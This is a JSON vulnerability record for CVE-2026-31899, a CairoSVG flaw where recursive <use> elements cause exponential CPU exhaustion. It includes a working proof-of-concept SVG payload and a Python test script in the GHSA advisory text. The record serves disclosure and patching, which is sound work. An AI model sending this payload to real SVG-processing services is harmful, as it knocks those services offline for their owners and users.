{"id":"CVE-2026-31899","aliases":["CVE-2026-31899","GHSA-f38f-5xpm-9r7c","PYSEC-2026-2122"],"related":[],"kind":"vulnerability","state":"published","title":"CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification","summary":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to Kozea/CairoSVG has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py. This causes CPU exhaustion from a small input.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n<?xml version=\"1.0\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <g id=\"a\"><rect width=\"1\" height=\"1\"/></g>\n    <g id=\"b\"><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/><use xlink:href=\"#a\"/></g>\n    <g id=\"c\"><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/><use xlink:href=\"#b\"/></g>\n    <g id=\"d\"><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/><use xlink:href=\"#c\"/></g>\n    <g id=\"e\"><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/><use xlink:href=\"#d\"/></g>\n  </defs>\n  <use xlink:href=\"#e\"/>\n</svg>\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research","format":"markdown","source":"ghsa"},{"lang":"es","text":"CairoSVG es un conversor de SVG basado en Cairo, una libreríade gráficos 2D. Anteriormente, Kozea/CairoSVG tenía una denegación de servicio exponencial a través de la amplificación recursiva del elemento  en cairosvg/defs.py. Esto causa el agotamiento de la CPU a partir de una entrada pequeña.","source":"nvd"}],"published":"2026-03-13T18:57:31.000Z","modified":"2026-07-13T07:26:50.032Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-674"],"affected":[{"ranges":[{"version":"< 2.9.0","status":"affected"}],"vendor":"Kozea","product":"CairoSVG","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.9.0"}],"ecosystem":"PyPI","package":"cairosvg","purl":"pkg:pypi/cairosvg","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.9.0"}],"vendor":"courtbouillon","product":"cairosvg","cpe":"cpe:2.3:a:courtbouillon:cairosvg:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.9.0"}],"ecosystem":"PyPI","package":"cairosvg","purl":"pkg:pypi/cairosvg","source":"pysec"}],"references":[{"url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c","tags":["evidence","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Kozea/CairoSVG","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-16T13:37:56.879Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-31899","url":"https://www.cve.org/CVERecord?id=CVE-2026-31899","licence":"CVE Terms of Use","modified":"2026-03-16T13:39:14.684Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f38f-5xpm-9r7c","url":"https://github.com/advisories/GHSA-f38f-5xpm-9r7c","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:50.032Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-31899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31899","licence":"Public domain","modified":"2026-06-17T10:34:43.337Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2122","url":"https://osv.dev/vulnerability/PYSEC-2026-2122","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:15.810Z"}],"updatedAt":"2026-11-25T22:59:15.887Z","epss":{"score":0.00556,"percentile":0.47763,"date":"2026-12-01T12:00:22.000Z"}}